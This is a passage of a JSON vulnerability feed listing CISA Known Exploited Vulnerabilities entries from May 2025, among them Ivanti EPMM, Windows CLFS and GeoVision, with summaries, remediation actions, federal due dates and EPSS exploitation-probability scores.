CVE-2025-27920","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-05-19","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-27920 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-27920&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-27920, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-4427","cveId":"CVE-2025-4427","aliases":[],"kind":"vulnerability","title":"Ivanti Endpoint Manager Mobile (EPMM) Authentication Bypass Vulnerability","summary":"Ivanti Endpoint Manager Mobile (EPMM) contains an authentication bypass vulnerability in the API component that allows an attacker to access protected resources without proper credentials via crafted API requests. This vulnerability results from an insecure implementation of the Spring Framework open-source library.","detail":"CISA added this entry on 2025-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-05-19","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Endpoint Manager Mobile (EPMM)","stacks":["Ivanti","Endpoint Manager Mobile (EPMM)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-05-19","dueAt":"2025-06-09","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99927,"percentile":0.99969,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-4427&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-4427","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-05-19","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-4427 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-4427&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-4427, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-4428","cveId":"CVE-2025-4428","aliases":[],"kind":"vulnerability","title":"Ivanti Endpoint Manager Mobile (EPMM) Code Injection Vulnerability","summary":"Ivanti Endpoint Manager Mobile (EPMM) contains a code injection vulnerability in the API component that allows an authenticated attacker to remotely execute arbitrary code via crafted API requests. This vulnerability results from an insecure implementation of the Hibernate Validator open-source library, as represented by CVE-2025-35036.","detail":"CISA added this entry on 2025-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-05-19","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Endpoint Manager Mobile (EPMM)","stacks":["Ivanti","Endpoint Manager Mobile (EPMM)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-05-19","dueAt":"2025-06-09","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.88003,"percentile":0.99762,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-4428&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-4428","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-05-19","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-4428 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-4428&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-4428, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-12987","cveId":"CVE-2024-12987","aliases":[],"kind":"vulnerability","title":"DrayTek Vigor Routers OS Command Injection Vulnerability","summary":"DrayTek Vigor2960, Vigor300B, and Vigor3900 routers contain an OS command injection vulnerability due to an unknown function of the file /cgi-bin/mainfunction.cgi/apmcfgupload of the component web management interface.","detail":"CISA added this entry on 2025-05-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-05-15","updatedAt":null,"regions":["Global"],"vendor":"DrayTek","product":"Vigor Routers","stacks":["DrayTek","Vigor Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-05-15","dueAt":"2025-06-05","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98163,"percentile":0.99913,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-12987&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-12987","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-05-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-12987 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-12987&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-12987, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-42999","cveId":"CVE-2025-42999","aliases":[],"kind":"vulnerability","title":"SAP NetWeaver Deserialization Vulnerability","summary":"SAP NetWeaver Visual Composer Metadata Uploader contains a deserialization vulnerability that allows a privileged attacker to compromise the confidentiality, integrity, and availability of the host system by deserializing untrusted or malicious content.","detail":"CISA added this entry on 2025-05-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-05-15","updatedAt":null,"regions":["Global"],"vendor":"SAP","product":"NetWeaver","stacks":["SAP","NetWeaver"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-05-15","dueAt":"2025-06-05","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.12854,"percentile":0.96267,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-42999&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-42999","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-05-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-42999 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-42999&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-42999, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-32756","cveId":"CVE-2025-32756","aliases":[],"kind":"vulnerability","title":"Fortinet Multiple Products Stack-Based Buffer Overflow Vulnerability","summary":"Fortinet FortiFone, FortiVoice, FortiNDR and FortiMail contain a stack-based overflow vulnerability that may allow a remote unauthenticated attacker to execute arbitrary code or commands via crafted HTTP requests.","detail":"CISA added this entry on 2025-05-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-05-14","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"Multiple Products","stacks":["Fortinet","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-05-14","dueAt":"2025-06-04","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.30944,"percentile":0.98246,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-32756&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-32756","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-05-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-32756 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-32756&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-32756, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-30397","cveId":"CVE-2025-30397","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Scripting Engine Type Confusion Vulnerability","summary":"Microsoft Windows Scripting Engine contains a type confusion vulnerability that allows an unauthorized attacker to execute code over a network via a specially crafted URL.","detail":"CISA added this entry on 2025-05-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-05-13","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-05-13","dueAt":"2025-06-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.27263,"percentile":0.98044,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-30397&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-30397","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-05-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-30397 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-30397&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-30397, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-30400","cveId":"CVE-2025-30400","aliases":[],"kind":"vulnerability","title":"Microsoft Windows DWM Core Library Use-After-Free Vulnerability","summary":"Microsoft Windows DWM Core Library contains a use-after-free vulnerability that allows an authorized attacker to elevate privileges locally.","detail":"CISA added this entry on 2025-05-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-05-13","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-05-13","dueAt":"2025-06-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01917,"percentile":0.79723,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-30400&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-30400","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-05-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-30400 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-30400&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-30400, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-32701","cveId":"CVE-2025-32701","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Common Log File System (CLFS) Driver Use-After-Free Vulnerability","summary":"Microsoft Windows Common Log File System (CLFS) Driver contains a use-after-free vulnerability that allows an authorized attacker to elevate privileges locally.","detail":"CISA added this entry on 2025-05-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-05-13","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-05-13","dueAt":"2025-06-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01416,"percentile":0.72562,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-32701&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-32701","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-05-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-32701 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-32701&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-32701, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-32706","cveId":"CVE-2025-32706","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Common Log File System (CLFS) Driver Heap-Based Buffer Overflow Vulnerability","summary":"Microsoft Windows Common Log File System (CLFS) Driver contains a heap-based buffer overflow vulnerability that allows an authorized attacker to elevate privileges locally.","detail":"CISA added this entry on 2025-05-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-05-13","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-05-13","dueAt":"2025-06-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02333,"percentile":0.83442,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-32706&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-32706","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-05-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-32706 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-32706&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-32706, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-32709","cveId":"CVE-2025-32709","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Ancillary Function Driver for WinSock Use-After-Free Vulnerability","summary":"Microsoft Windows Ancillary Function Driver for WinSock contains a use-after-free vulnerability that allows an authorized attacker to escalate privileges to administrator.","detail":"CISA added this entry on 2025-05-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-05-13","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-05-13","dueAt":"2025-06-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01818,"percentile":0.78567,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-32709&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-32709","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-05-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-32709 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-32709&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-32709, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-47729","cveId":"CVE-2025-47729","aliases":[],"kind":"vulnerability","title":"TeleMessage TM SGNL Hidden Functionality Vulnerability","summary":"TeleMessage TM SGNL contains a hidden functionality vulnerability in which the archiving backend holds cleartext copies of messages from TM SGNL application users.","detail":"CISA added this entry on 2025-05-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-05-12","updatedAt":null,"regions":["Global"],"vendor":"TeleMessage","product":"TM SGNL","stacks":["TeleMessage","TM SGNL"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-05-12","dueAt":"2025-06-02","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00447,"percentile":0.38562,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-47729&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-47729","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-05-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-47729 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-47729&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-47729, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-11120","cveId":"CVE-2024-11120","aliases":[],"kind":"vulnerability","title":"GeoVision Devices OS Command Injection Vulnerability","summary":"Multiple GeoVision devices contain an OS command injection vulnerability that allows a remote, unauthenticated attacker to inject and execute arbitrary system commands. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.","detail":"CISA added this entry on 2025-05-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-05-07","updatedAt":null,"regions":["Global"],"vendor":"GeoVision","product":"Multiple Devices","stacks":["GeoVision","Multiple Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-05-07","dueAt":"2025-05-28","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.28386,"percentile":0.9811,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-11120&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-11120","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-05-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-11120 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-11120&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-11120, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-6047","cveId":"CVE-2024-6047","aliases":[],"kind":"vulnerability","title":"GeoVision Devices OS Command Injection Vulnerability","summary":"Multiple GeoVision devices contain an OS command injection vulnerability that allows a remote, unauthenticated attacker to inject and execute arbitrary system commands. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.","detail":"CISA added this entry on 2025-05-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-05-07","updatedAt":null,"regions":["Global"],"vendor":"GeoVision","product":"Multiple Devices","stacks":["GeoVision","Multiple Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-05-07","dueAt":"2025-05-28","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10072,"percentile":0.95596,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-6047&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-6047","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-05-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-6047 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-6047&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-6047, scored 2026-10-25. This is a model estimate, not proof of 